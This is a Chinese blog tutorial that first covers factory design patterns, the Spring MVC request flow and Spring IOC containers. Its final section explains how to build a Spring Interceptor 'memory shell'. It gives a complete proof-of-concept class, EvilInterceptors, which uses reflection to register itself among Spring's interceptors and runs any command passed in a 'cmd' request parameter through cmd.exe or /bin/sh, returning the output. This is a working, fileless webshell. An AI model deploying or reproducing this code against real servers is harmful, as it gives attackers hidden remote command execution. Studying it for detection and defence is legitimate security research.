Spring简单学习

news2024/10/5 23:28:00

Spring简单学习

  • spring中的设计模式
    • 工厂模式
      • 简单工厂模式
      • 工厂方法模式
  • Springmvc简单学习
      • MVC模式
      • Spring MVC 常用组件
      • Spring MVC 工作流程
    • [Spring IOC](https://juejin.cn/post/6983957368115560485#heading-3)
      • IOC是什么
      • 使用IOC
      • Spring提供的IOC容器
      • Spring的IOC实现原理
      • **Root Context和Child Context**举个web.xml例子:
    • Interceptor拦截器内存马
      • Interceptor注册
      • 内存马构造流程
      • 完整POC

参考1
参考2

spring中的设计模式

工厂模式

它的设计目的的话我理解为封装的意思,比如举个例子,如果你要使用洗衣机,你只需要点开机,不需要关心洗衣机内部是怎么运作的

简单工厂模式

简单工厂模式,又叫做静态工厂模式(Static Factory Method),由一个工厂对象决定创建出哪一种产品类的实例,简单工厂模式的实质是由一个工厂类根据传入的参数,动态决定应该创建哪一个产品类。

简单工厂适用场景

工厂类负责创建的对象比较少;客户端(应用层)只需要知道传入工厂类的参数,对于如何创建对象(逻辑)不关心。

简单工厂优缺点
优点:只需要传入一个正确的参数,就可以获取你所需要的对象,而无需知道其细节创建。
缺点:工厂类的职责相对过重,增加新的产品,需要修改工厂类的判断逻辑,违背了开闭原则。

在这里插入图片描述
我们使用代码来实现一下
首先是我们的规范

Phone类:手机标准规范类(AbstractProduct)

public interface Phone {
    void make();
}

产品类
MiPhone类:制造小米手机(Product1)

public class MiPhone implements Phone {
    public MiPhone() {
        this.make();
    }
    @Override
    public void make() {
        // TODO Auto-generated method stub
        System.out.println("make xiaomi phone!");
    }
}

IPhone类:制造苹果手机(Product2)

public class IPhone implements Phone {
    public IPhone() {
        this.make();
    }
    @Override
    public void make() {
        // TODO Auto-generated method stub
        System.out.println("make iphone!");
    }
}

工厂类

PhoneFactory类:手机代工厂(Factory)

public class PhoneFactory {
    public Phone makePhone(String phoneType) {
        if(phoneType.equalsIgnoreCase("MiPhone")){
            return new MiPhone();
        }
        else if(phoneType.equalsIgnoreCase("iPhone")) {
            return new IPhone();
        }
        return null;
    }
}

可以看到我们如果想创造一个手机,不需要再去new啥的,而是直接通过工厂类的方法去创造一个手机

工厂方法模式

工厂方法模式(Factory Method),又称多态性工厂模式,属于设计模式三大分类中的创建型模式,作为抽象工厂模式的孪生兄弟,工厂方法模式定义了一个创建对象的接口,但由子类决定要实例化的类是哪一个,也就是说工厂模式让实例化推迟到子类。

在工厂模式中,核心的工厂类不再负责所有的产品的创建,而是将具体的工作交给子类去做。该核心类成为一个抽象工厂角色,仅负责给出具体工厂子类必须实现的接口,而不接触哪一个产品应当被实例化这种细节。

工厂方法优缺点
优点:用户只需要关系所需产品对应的工厂,无须关心创建细节;加入新产品符合开闭原则,提高可扩展性。

缺点:类的个数容易过多,增加复杂度;增加了系统的抽象性和理解难度。

工厂方法模式非常符合“开闭原则”,当需要增加一个新产品时,我们只需要增加一个具体的产品类和与之对应的具体工厂即可,无须关系产品的创建过程,甚至连具体的产品类名称都不需要知道。虽然他很好的符合了“开闭原则”,但是由于每新增一个新产品时就需要增加两个类,这样势必就会导致系统的复杂度增加。

在这里插入图片描述
也就是定义一个抽象工厂,其定义了产品的生产接口,但不负责具体的产品,将生产任务交给不同的派生类工厂。这样不用通过指定类型来创建对象了。

代码实现
我们的Phone接口和xiaomi IPhone产品类还是不变

总工厂

package factory.methodfactory;

import factory.Phone;

public interface Factory {
    Phone makePhone();
}

工厂的派工厂

package factory.methodfactory;

import factory.IP;
import factory.Phone;

public class IPFactory implements Factory{


    @Override
    public Phone makePhone() {
        return new IP();
    }
}

package factory.methodfactory;


import factory.MI;
import factory.Phone;

public class MiFactory implements Factory {




    @Override
    public Phone makePhone() {
        return new MI();
    }
}

测试

package factory.methodfactory;

import factory.Phone;

public class Test {
    public static void main(String[] args) {
        Factory MiFactory = new MiFactory();
        Factory IPFactory = new IPFactory();
        Phone xiaomi= MiFactory.makePhone();
        Phone iphone= IPFactory.makePhone();
    }
}

Springmvc简单学习

MVC模式

我们先了解一下什么是MVC模式

MVC 模式,全称为 Model-View-Controller(模型-视图-控制器)模式,它是一种软件架构模式,其目标是将软件的用户界面(即前台页面)和业务逻辑分离,使代码具有更高的可扩展性、可复用性、可维护性以及灵活性。

MVC 模式将应用程序划分成模型(Model)、视图(View)、控制器(Controller)等三层,如下图所示
在这里插入图片描述
在这里插入图片描述

Spring MVC 常用组件

Spring MVC 的常用组件共有 6 个,它们分别是: DispatcherServlet(前端控制器)、HandlerMapping(处理器映射器)、HandlerAdapter(处理器适配器)、Handler(处理器)、ViewResolver(视图解析器)和 View(视图)
在这里插入图片描述

Spring MVC 工作流程

在这里插入图片描述
SpringMVC 的执行流程如下。

用户通过浏览器发起一个 HTTP 请求,该请求会被 DispatcherServlet(前端控制器)拦截;

DispatcherServlet 调用 HandlerMapping(处理器映射器)找到具体的处理器(Handler)及拦截器,最后以 HandlerExecutionChain 执行链的形式返回给 DispatcherServlet。

DispatcherServlet 将执行链返回的 Handler 信息发送给 HandlerAdapter(处理器适配器);

HandlerAdapter 根据 Handler 信息找到并执行相应的 Handler(即 Controller 控制器)对请求进行处理;

Handler 执行完毕后会返回给 HandlerAdapter 一个 ModelAndView 对象(Spring MVC 的底层对象,包括 Model 数据模型和 View 视图信息);

HandlerAdapter 接收到 ModelAndView 对象后,将其返回给 DispatcherServlet ;

DispatcherServlet 接收到 ModelAndView 对象后,会请求 ViewResolver(视图解析器)对视图进行解析;

ViewResolver 解析完成后,会将 View 视图并返回给 DispatcherServlet;

DispatcherServlet 接收到具体的 View 视图后,进行视图渲染,将 Model 中的模型数据填充到 View 视图中的 request 域,生成最终的 View(视图);

视图负责将结果显示到浏览器(客户端)。

Spring IOC

讲得很好,直接抄

IOC是什么

IOC是“Inversion of Control”的缩写,翻译过来就是“控制反转”。
我们先不深究其在Spring中的含义,先从字面上进行分析。打个比方来说:结婚前你的工资完全由你来支配,想怎么花就怎么花。结婚后变了,你的钱要上交给你媳妇了,你想花的时候得申请。此时你对工资的控制转变了,由原来的你控制,变成了你媳妇控制。这就是“控制反转”,本来属于你控制的事情,交由别人来控制,而你只在需要的时候进行获取就可以了。

相信通过这个比喻大家对“控制反转”的含义都已经理解了,那么它在Spring中的体现就是:把创建对象的过程交给Spring来进行管理,从而做到将原来需要自己手动new对象,变成直接从Spring中获取。
这就就好比Spring中有一个容器,我们将Bean放到这个容器中,让这个容器为我们创建实例,当需要时我们直接从这个容器中进行获取即可。这个容器的实现理念就是IOC。

在这里插入图片描述

使用IOC

假设现在有一道菜:宫保鸡丁

public class KungPaoChicken {
    
    public static KungPaoChicken getKungPaoChicken(各种食材) {
        // 加工各种食材最终得到一份美味的宫爆鸡丁。
        return KungPaoChicken;
    }
}


如果现在不使用IOC,我们想要吃到宫保鸡丁,那么就需要如下操作。

public class Person() {
    // 采购各种食材
    // 准备好各种食材通过KungPaoChicken获取到一份宫保鸡丁。
    KungPaoChicken kungPaoChicken = KungPaoChicken.getKungPaoChicken(各种食材);
}

代码之间的耦合关系图:
在这里插入图片描述看起来也不难,也不麻烦对吧?
别着急下定论,现在只是一个人想要宫保鸡丁,假如现在有10个人都想要那?是不是有十份相同的代码?这10个人都和KungPaoChicken有耦合。又比如现在需要的食材有所改变,那这样的话是不是这10个人都需要调整代码?这么一来是不是发现这种实现方式一点也不友好。
使用IOC的做法
现在我们转变一下思路,不再自己动手做了,我们把这道菜的做法告诉饭店,让饭店来做。

public class Restaurant {
    
    public static KungPaoChicken getKungPaoChicken() {
        // 处理食材,返回宫保鸡丁
        retur KungPaoChicken;
    }
}

转变之后的耦合关系图:

在这里插入图片描述
经过这样处理,就可以很大程度上解决上面的这些问题。

1、我们将KungPaoChicken交给Restaurant(饭店)来进行管理,它的创建由Restaurant进行。
2、现在不论是1个人还是10个人我们只需要从Restaurant中进行获取就可以了。这样耦合就改变了,Person只需要和Restaurant发生耦合就可以了。
3、当KungPaoChicken有变动时,也不需要每个人都变动,只需要Restaurant随之改变就可以了。

Spring的IOC容器就充当了上面案例中的Restaurant角色,我们只需要告诉Spring哪些Bean需要Spring进行管理,然后通过指定的方式从IOC容器中获取即可。

Spring提供的IOC容器

Spring提供了一个接口BeanFactory。这个接口是Spring实现IOC容器的顶级接口,这个接口是Spring内部使用的,并不是专门为框架的使用者提供的。

在这里插入图片描述我们一般使用的是BeanFactory的子接口ApplicationContext接口,这个接口提供了更多并且更加强大的功能。
在ApplicationContext接口中有三个常用的实现类分别是:AnnotationConfigApplicationContext、FileSystemXmlApplicationContext、ClassPathXmlApplicationContext。

容器的创建需要读取配置文件或配置类,通过这些配置告诉Spring哪些bean是需要Spring来进行管理的。
注意:读取配置文件时,如果读取绝对路径时入参需要添加前缀“file:”,读取相对路径时入参需要添加“classpath:”。
AnnotationConfigApplicationContext

作用:用于在全注解开发时,读取配置类的相关配置信息。
注意:通过@Configuration注解标注当前类为Spring的配置类

ApplicationContext context = new AnnotationConfigApplicationContext(自定义的配置类.class);

ClassPathXmlApplicationContext
作用:默认加载classPath下的配置文件,也就是代码编译之后的classes文件夹下。
注意:使用ClassPathXmlApplicationContext读取相对路径时入参的“classpath:”是可以省略的。读取绝对路径时,需要在入参添加前缀“file:”。

// 相对路径
ApplicationContext context = new ClassPathXmlApplicationContext("classpath:配置文件名称.xml");
ApplicationContext context = new ClassPathXmlApplicationContext("配置文件名称.xml");

// 绝对路径
ApplicationContext context = new ClassPathXmlApplicationContext("file:绝对路径下的配置文件路径")

FileSystemXmlApplicationContext
作用:默认加载的是项目的所在路径下的配置文件。注意:对FileSystemXmlApplicationContext来说读取绝对路径时的入参前缀“file:”是可以省略的,但是读取相对路径的入参“classpath:”是必须的。

// 相对路径
ApplicationContext context = new FileSystemXmlApplicationContext("classpath:beans.xml");

// 绝对路径
ApplicationContext context = new FileSystemXmlApplicationContext("file:绝对路径下的配置文件路径");
ApplicationContext context = new FileSystemXmlApplicationContext("绝对路径下的配置文件路径");
// 直接从项目的路径下
ApplicationContext context = new FileSystemXmlApplicationContext("src\main\resources\配置文件名");

Spring的IOC实现原理

在这里插入图片描述ApplicationContext
BeanFactory 接口是 Spring IOC容器 的实际代表者,Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IOC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。在这里插入图片描述
org.springframework.context.ApplicationContext接口也代表了 IOC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

Root Context和Child Context举个web.xml例子:

<servlet>
  <servlet-name>spring</servlet-name>
  <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  <init-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/springmvc.xml</param-value>
  </init-param>
  <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>spring</servlet-name>
  <url-pattern>/</url-pattern>
</servlet-mapping>


这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation参数值配置为/WEB-INF/springmvc.xml。依照规范,当没有显式配置contextConfigLocation时,程序会自动寻找 /WEB-INF/<servlet_name>-servlet.xml作为配置文件,上文的<servlet_name>是DispatcherServlet,所以若是没有显示配置contextConfigLocation的话,会去找/WEB-INF/DispatcherServlet-servlet.xml作为配置文件。
每个具体的DispatcherServlet创建的是一个Child Context,代表一个独立的 IOC 容器;而 ContextLoaderListener所创建的是一个Root Context,代表全局唯一的一个公共 IOC 容器.如果要访问和操作 bean ,一般要获得当前代码执行环境的IOC 容器 代表者 ApplicationContext。

Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
所有的Context在创建后,都会被作为一个属性添加到了ServletContext中
ContextLoaderListener
ContextLoaderListener主要被用来初始化全局唯一的Root Context,即Root WebApplicationContext。这个Root WebApplicationContext会和其他 Child Context 实例共享它的 IOC 容器,供其他 Child Context 获取并使用容器中的 bean。

Interceptor拦截器内存马

Interceptor,拦截器它起着跟Tomcat Filter相同的作用。即请求到达控制器Controller前,会拦截请求,在拦截器Interceptor中处理请求后在委派给控制器Controller处理请求

Interceptor注册

定位DispatcherServlet#doDispatch方法
在这里插入图片描述
首先先调用的getHandler方法在这里插入图片描述
这里会返回一个HandlerExecutionChain对象,来源于HandlerMapping实例对象的getHandler方法,默认调用RequestMappingHandlerMapping#getHandler方法

在这里插入图片描述
该方法从adaptedInterceptors中把符合的拦截器添加到chain里。adaptedInterceptors就存放了全部拦截器在这里插入图片描述返回到DispatcherServlet#doDispatch(),getHandler后执行了applyPreHandle遍历执行了拦截器。
在这里插入图片描述
而且可以看到applyPreHandle后面就是ha.handle(),执行controller,所以说Interceptors是在controller之前执行的在这里插入图片描述
preHandle( ):该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
postHandle( ):该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
afterCompletion( ):该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。

内存马构造流程

获取RequestMappingHandlerMapping

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

反射获取adaptedInterceptors
因为我们的拦截器都是从这里面获取的
在这里插入图片描述

Field field = null;
    try {
        field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
    } catch (NoSuchFieldException e) {
        e.printStackTrace();
    }
    field.setAccessible(true);
    List<HandlerInterceptor> adaptInterceptors = null;
    try {
        adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
    } catch (IllegalAccessException e) {
        e.printStackTrace();
    }

重写恶意方法

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if(cmd != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }

添加恶意拦截器

EvilInterceptors evilInterceptors = new EvilInterceptors("nivia");

        adaptedInterceptors.add(evilInterceptors);

完整POC

package org.example.memshell.serialize.spring;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

public class EvilInterceptors extends AbstractTranslet implements HandlerInterceptor {
    public EvilInterceptors() throws Exception {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);

        Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        adaptedInterceptorsField.setAccessible(true);

        List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(rs);
        EvilInterceptors evilInterceptors = new EvilInterceptors("nivia");

        adaptedInterceptors.add(evilInterceptors);
    }

    public EvilInterceptors(String name){}

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if(cmd != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1875449.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第4章_USB 设备编程

文章目录 4.1 USB 学习指南4.1 USB 学习指南 4.2 USB 系统硬件框架和软件框架4.2.1 实验现象4.2.2 硬件框架4.2.3 软件框架 4.3 软件工程师眼里的 USB 电气信号4.3.1 USB 设备状态切换图4.3.2 硬件线路4.3.3 电子信号4.3.4 低速/全速信号电平4.3.5 高速信号电平4.3.6 设备连接与…

【报错记录】第一次安装VUE启动失败sh: vite: command not found

大家好&#xff0c;我是DX3906 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我静心耕耘大前端领域、真诚分享知识与智慧的小天地&#xff01;&#x1f387; 问题描述&#xff1a;第一次使用npm create vuelatest搭建vue3.0脚手架的时候&#xff0c;运行npm run dev…

【数据结构(邓俊辉)学习笔记】二叉搜索树03——平衡

文章目录 1. 极端退化2. 平均高度3. 理想 适度4. 歧义 等价5. 等价变换 1. 极端退化 二叉搜索树为我们同时实现对数据集高效的静态操作以及动态操作打开了一扇新的大门。 正如我们所看到的&#xff0c;从策略上&#xff0c;BST可以视作是试图将此前的向量结构以及列表结构优…

【EI会议】2024年机械、计算机工程与材料国际会议 (MCEM 2024)

2024年机械、计算机工程与材料国际会议 (MCEM 2024) 2024 International Conference on Mechanical, Computer Engineering and Materials 【重要信息】 大会地点&#xff1a;广州 官网地址&#xff1a;http://www.ismcem.com 投稿邮箱&#xff1a;ismcemsub-conf.com 【注意…

云计算【第一阶段(20)】磁盘管理与文件系统 服务器硬件及RAID配置实战(三)

一、服务器硬件详解 cpu 主板 内存 硬盘 网卡 电源 raid卡 风扇 远程管理卡 1.1、硬盘尺寸 目前生产环境中主流的两种类型硬盘 3.5寸 和2.5寸硬盘 2.5寸硬盘可以通过使用硬盘托架后适用于3.5寸硬盘的服务器 但是3.5寸没法转换成2.5寸 二、RAID阵列详解 独立硬盘冗余阵…

CSF视频文件格式转换WMV格式

如果大家看过一些高校教学讲解视频的话&#xff0c;很可能见过这样一个难得的格式&#xff0c;".csf "&#xff0c;非常漂亮 。 用暴风影音都可以打开观看&#xff0c;会自动下载解码。 但是一旦我们想要利用或者上传视频的时候就麻烦了&#xff0c;一般网站不认这…

计算机毕业设计Python+Spark知识图谱微博预警系统 微博推荐系统 微博可视化 微博数据分析 微博大数据 微博爬虫 微博预测系统 大数据毕业设计

课题名称 基于Bert模型对微博的言论情感分析设计与实现 课题来源 课题类型 BY 指导教师 学生姓名 专 业 计算机科学与技术 学 号 开题报告内容&#xff1a;&#xff08;调研资料的准备&#xff0c;设计/论文的目的、要求、思路与预期成果&#xff1b;…

Matplotlib绘制并列的条形图:每个类别有多个条形并排显示

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

2-19 基于matlab的薄板弯曲的算例

基于matlab的薄板弯曲的算例&#xff0c;利用有限元方法编制matlab程序。对二维薄板进行单元化&#xff0c;输出薄板结构参数及载荷&#xff0c;输出弯曲情况&#xff0c;并可视化展示。程序已调通&#xff0c;可直接运行。 2-19 薄板弯曲 有限元方法 薄板结构参数 - 小红书 (x…

好用的导航网站有哪些

网址导航网站是我们日常上网的一个重要工具。它们不仅可以帮助我们快速找到所需的资源和信息&#xff0c;还能提高我们的工作效率。以下是小编收藏的几个好用的导航网站&#xff0c;涵盖了办公、学习、娱乐等多个领域&#xff0c;分享给大家。 1. 办公人导航 办公人导航是一个…

排序算法(1)之插入排序----直接插入排序和希尔排序

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 排序之插入排序----直接插入排序和希尔排序(1) 收录于专栏【数据结构初阶】 本专栏旨在分享学习数据结构学习的一点学习笔记&#xff0c;欢迎大家在评论区交流讨…

【动态规划】279.完全平方数

279. 完全平方数 难度&#xff1a;中等 力扣地址&#xff1a;https://leetcode.cn/problems/perfect-squares/ 没有刷过的小伙伴们请一定要先去刷一次&#xff0c;然后如果感兴趣的话再阅读以下内容&#xff0c;便于交流 ~ 多谢支持 ~ 问题描述 给你一个整数 n &#xff0c;返…

sql server启动、连接 与 navicat连接sql server

一、sql server 启动 1.搜索cmd->以管理员身份运行 2.输入以下命令 net start mssqlserver 3.服务器启动成功 二、sql server连接 1.打开ssms&#xff0c;输入&#xff0c;连接 2.右键&#xff0c;属性 3.连接&#xff0c;勾选允许远程连接到此服务器 三、navicat连接sq…

论文浅尝 | 通过基于动态文档知识图谱增强的大语言模型故事理解

笔记整理&#xff1a;许方舟&#xff0c;天津大学硕士&#xff0c;研究方向为知识图谱 链接&#xff1a;https://ojs.aaai.org/index.php/AAAI/article/view/21286 1. 动机 基于大型 Transformer 的语言模型在需要叙事理解的各种任务上取得了令人难以置信的成功&#xff0c;包括…

核方法总结(三)———核主成分(kernel PCA)学习笔记

一、核主成分 1.1 和PCA的区别 PCA &#xff08;主成分分析&#xff09;对应一个线性高斯模型&#xff08;参考书的第二章&#xff09;&#xff0c;其基本假设是数据由一个符合正态分布的隐变量通过一个线性映射得到&#xff0c;因此可很好描述符合高斯分布的数据。然而在很多实…

基于GWO灰狼优化的多目标优化算法matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 4.1灰狼优化算法原理 4.2 多目标优化问题(MOP)的帕累托最优解 4.3 基于GWO的多目标优化算法 5.完整程序 1.程序功能描述 基于GWO灰狼优化的多目标优化算法matlab仿真&#xff0c;目标函数…

java基于ssm+jsp 咨询交流论坛

1 管理员登录 管理员输入个人的用户名、密码登录系统&#xff0c;这时候系统的数据库就会在进行查找相关的信息&#xff0c;如果我们输入的用户名、密码不正确&#xff0c;数据库就会提示出错误的信息提示&#xff0c;同时会提示管理员重新输入自己的用户名、密码&#xff0c;…

Vite: 代码分割与拆包

概述 在生产环境下&#xff0c;为了提高页面加载性能&#xff0c;构建工具一般将项目的代码打包(bundle)到一 起&#xff0c;这样上线之后只需要请求少量的 JS 文件&#xff0c;大大减少 HTTP 请求。当然&#xff0c;Vite 也不例 外&#xff0c;默认情况下 Vite 利用底层打包引…

JWT跨域认证

新建shop项目 新建bean包&#xff0c;再其包下新建User package com.example.shop.bean;public class User {private String username;private String password;// 可以根据需要添加其他字段&#xff0c;比如角色、邮箱等public String getUsername() {return username;}public…

“深入解析操作系统核心:进程管理与并发艺术“

操作系统中最核心的概念是进程:这是对正在运行程序的ー个抽象 并行 并发 “在任何多道程序设计系统中,CPU由一个进程快速切换至另ー个进程,使每个进程各运行几十或几百毫秒。严格地说,在某ー个瞬间,CPU只能运行ー个进程。但在1秒钟内,它可能运行多个进程,这样就产生并行的错觉…